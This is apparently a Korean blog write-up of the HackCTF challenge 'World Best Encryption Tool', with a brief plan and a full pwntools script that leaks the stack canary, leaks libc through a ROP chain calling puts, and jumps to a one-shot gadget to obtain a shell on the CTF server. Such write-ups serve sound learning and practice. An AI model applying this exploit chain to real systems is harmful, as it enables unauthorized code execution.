HackCTF - World Best Encryption Tool
2021. 1. 11. 10:59ㆍCTF's Write-up
World Best Encryption Tool 문제입니다.
실행해보면 뭔가 암호화해서 출력해주는 프로그램 같습니다.
nx와 카나리가 있네요.
main함수를 보면 14번줄, 20번줄에서 bof가 발생합니다
17번째에서 src를 암호화 한 부분을 dest로 덮어씌우니 여기서 잘 활용하면 canary_leak이 가능할 거같네요.
그리고 Yes로 다시 메인으로 가서 libc_leak해서 oneshot으로 터트리면 될 것 같습니다.
페이로드는 아래와 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3027)
#r = process("./World_best_encryption_tool")
e = ELF("./World_best_encryption_tool")
l = e.libc
context.log_level = "debug"
pr = 0x00000000004008e3
puts_got = e.got['puts']
puts_plt = e.plt['puts']
setvbuf_got=e.got['setvbuf']
setvbuf_off=l.symbols['setvbuf']
main_add = e.symbols['main']
puts_off = l.symbols['puts']
oneshot_off= 0xf1147
r.recvuntil("Your text)\n")
pay = "A"*(0x38) + "B"
r.sendline(pay)
r.recvuntil("AAAAAA")
canary = u64(r.recv(8))-ord("B")
log.info("leak = " + hex(canary))
r.sendline("Yes")
r.recvuntil("Your text)\n")
pay = ""
pay += "A"*0x38
pay += "\x00"
pay += "A"* 0x3f
pay += p64(canary)
pay += "A"*0x8
pay += p64(pr) + p64(setvbuf_got) + p64(puts_plt) #rop
pay += p64(main_add)
r.sendline(pay)
r.recvuntil("No)\n")
r.sendline("No")
setvbuf_add = u64(r.recv(6) + "\x00\x00")
libc_base = setvbuf_add - setvbuf_off
oneshot_add = libc_base + oneshot_off
log.info("setbuf = " + hex(setvbuf_add))
log.info("libc_base = " + hex(libc_base))
log.info("oneshot_add = " + hex(oneshot_add))
pay = ""
pay += "A"*0x38
pay += "\x00"
pay += "A"* 0x3f
pay += p64(canary)
pay += "A"*0x8
pay += p64(oneshot_add)
r.sendline(pay)
r.interactive()
|
cs |
이를 실행하면
shell 획득이 가능합니다.
puts_got하고 scanf_got으로 leak하려고 했는데 안돼서 삽질 엄청했습니다.
이유는 모르겠어서 c2w2m2에게 물어봤는데.. 내기에서 승리하신 후 답장해주신다고 하셨습니다 ㅋㅋㅋ :)
'CTF's Write-up' 카테고리의 다른 글
DreamHack - php-1 (0) | 2021.01.12 |
---|---|
DreamHack - rev-basic-2 (0) | 2021.01.12 |
HackCTF - Register (0) | 2021.01.10 |
HackCTF - RTC (0) | 2021.01.08 |
DreamHack - simple-ssti (0) | 2021.01.04 |